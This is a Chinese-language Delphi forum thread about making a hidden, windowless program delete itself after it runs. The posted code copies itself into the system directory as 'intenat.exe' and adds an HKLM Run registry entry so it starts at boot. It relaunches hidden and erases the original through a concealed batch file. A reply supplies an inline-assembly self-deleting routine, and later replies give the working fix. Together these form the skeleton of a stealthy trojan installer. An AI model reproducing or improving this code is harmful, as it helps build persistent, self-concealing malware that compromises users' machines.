结束进程自删除问题(50分)

  • 主题发起人 主题发起人 大狗熊
  • 开始时间 开始时间

大狗熊

Unregistered / Unconfirmed
GUEST, unregistred user!
我写一个程序,是没有窗体界面的<br>需要结束后自删除,但是总搞不好,现将主要代码贴出,请高手指点<br><br>procedure ExtDelMe;<br>var<br> &nbsp;F: textfile;<br> &nbsp;BatchFileName: string;<br> &nbsp;ProcessInfo: TProcessInformation;<br> &nbsp;StartUpInfo: TStartupInfo;<br>begin<br>GetSystemDirectory(sysdir,256);<br> &nbsp;//DelValue(HKEY_CURRENT_USER, 'Software/Microsoft/Windows/CurrentVersion/Policies/WinOldApp', 'NoRealMode');<br> &nbsp;BatchFileName := sysdir + '/Deleteme.bat';<br> &nbsp;AssignFile(F, BatchFileName);<br> &nbsp;Rewrite(F);<br> &nbsp;WriteLn(F, ':try');<br> &nbsp;WriteLn(F, 'del &quot;' + ParamStr(0) + '&quot;');<br> &nbsp;WriteLn(F, 'if exist &quot;' + ParamStr(0) + '&quot;' + ' goto try');<br> &nbsp;WriteLn(F, 'del %0');<br> &nbsp;CloseFile(F);<br> &nbsp;FillChar(StartUpInfo, SizeOf(StartUpInfo), $00);<br> &nbsp;StartUpInfo.dwFlags := STARTF_USESHOWWINDOW;<br> &nbsp;StartUpInfo.wShowWindow := SW_HIDE;<br> &nbsp;if CreateProcess(nil, PChar(BatchFileName), nil, nil, False, IDLE_PRIORITY_CLASS, nil, nil, StartUpInfo, ProcessInfo) then<br> &nbsp;begin<br> &nbsp; &nbsp;CloseHandle(ProcessInfo.hThread);<br> &nbsp; &nbsp;CloseHandle(ProcessInfo.hProcess);<br> &nbsp;end;<br>end;<br>//这个是自删除过程<br><br><br><br>begin<br> &nbsp; if &nbsp;FileExists(sysdir+'/intenat.exe') then &nbsp; &nbsp;CreateMutex(nil, True,'intenat');//设置一个内存标示~防止程序多次运行<br> &nbsp; if (GetlastError() &lt;&gt; ERROR_ALREADY_EXISTS) then<br>begin<br> GetSystemDirectory(sysdir,256);<br> &nbsp; if not FileExists(sysdir+'/intenat.exe') then<br> &nbsp; begin<br> &nbsp; &nbsp; &nbsp;copyfile(pchar(paramstr(0)),pchar(sysdir+'/intenat.exe'),true);<br> &nbsp; &nbsp; &nbsp;RegCreateKey(HKEY_LOCAL_MACHINE,'software/microsoft/windows/currentVersion/run',ret2);<br> &nbsp; &nbsp; &nbsp;RegSetValue(Ret2, nil, REG_SZ,Pchar(sysdir+'/intenat.exe'),4);<br> &nbsp; &nbsp; &nbsp;RegCloseKey(Ret2);<br> &nbsp; &nbsp; &nbsp;WinExec(pchar(sysdir+'/intenat.exe'), SW_HIDE);<br> &nbsp; &nbsp; &nbsp;sleep(6000);<br> &nbsp; &nbsp; &nbsp;//exitProcess(0);  //这个东西不能用,用了就整个退出了进程,呵呵,下面的不执行了<br> &nbsp; &nbsp; &nbsp;ExtDelMe;<br><br><br> &nbsp; end;<br> &nbsp; end;<br><br><br><br>hTimer1 := SetTimer(0, 0, 1, @TimerProc1);<br>hTimer2 := SetTimer(0, 0, strtoint(time)*1000, @TimerProc2);<br><br>while(GetMessage(Msg,0,0,0))do &nbsp;<br>begin<br> &nbsp;TranslateMessage(Msg);<br> &nbsp;DispatchMessage(Msg);<br>end;
 
procedure DeleteSelf;<br>var<br> &nbsp;pExitProcess: Pointer;<br> &nbsp;pDeleteFile: Pointer;<br> &nbsp;pUnmapViewOfFile: Pointer;<br> &nbsp;hModule: THANDLE;<br> &nbsp;cBuf:array[0..MAX_PATH]of Char;<br>begin<br> &nbsp;hModule := GetModuleHandle('kernel32');<br> &nbsp;if hModule &lt;&gt; 0 then<br> &nbsp;begin<br> &nbsp; &nbsp;pExitProcess := GetProcAddress(hModule, 'ExitProcess');<br> &nbsp; &nbsp;pDeleteFile := GetProcAddress(hModule, 'DeleteFileA');<br> &nbsp; &nbsp;pUnmapViewOfFile := GetProcAddress(hModule, 'UnmapViewOfFile');<br> &nbsp;end else<br> &nbsp;begin<br> &nbsp; &nbsp;pExitProcess := nil;<br> &nbsp; &nbsp;pDeleteFile := nil;<br> &nbsp; &nbsp;pUnmapViewOfFile := nil;<br> &nbsp;end;<br> &nbsp;hModule := GetModuleHandle(nil);<br> &nbsp;GetModuleFileName(hModule, cBuf, Sizeof(cBuf));<br> &nbsp;CloseHandle(THANDLE(4));<br> &nbsp;asm<br> &nbsp; &nbsp;XOR EAX, EAX;<br> &nbsp; &nbsp;PUSH EAX;<br> &nbsp; &nbsp;PUSH EAX;<br> &nbsp; &nbsp;LEA EAX, cBuf;<br> &nbsp; &nbsp;PUSH EAX;<br> &nbsp; &nbsp;MOV EAX, pExitProcess; &nbsp; &nbsp;PUSH EAX; &nbsp; &nbsp;MOV EAX, hModule; &nbsp; &nbsp;PUSH EAX; &nbsp; &nbsp;MOV EAX, pDeleteFile;<br> &nbsp; &nbsp;PUSH EAX;<br> &nbsp; &nbsp;MOV EAX, pUnmapViewOfFile;<br> &nbsp; &nbsp;PUSH EAX;<br> &nbsp; &nbsp;RET;<br> &nbsp;end;<br>end;
 
....不行的,没有关闭进程,直接用自删除的procedure是不能实现的
 
CloseHandle(THANDLE(4));<br>出错
 
另外我测试了下这个程序<br>while(GetMessage(Msg,0,0,0))do &nbsp;<br>begin<br> &nbsp;TranslateMessage(Msg);<br> &nbsp;DispatchMessage(Msg);<br>end;<br><br>如果没有这个回调,用任何一个自删除过程都可以,加了这个回调,就不行了...大家看看怎么回事
 
..封贴...自己搞定了
 
封什么? 给个答案啊! 我上次问你要这个东东呢??
 
呵呵,结束下进程就可以了
 
晕,能不能说清一些怎么做的?是不是用bat<br>吸引眼球
 
Close;<br>Sleep(100); &nbsp;//先缓缓再执行删除<br>ExtDelMe;
 
使用.bat不就得了,简单又方便
 

Similar threads

后退
顶部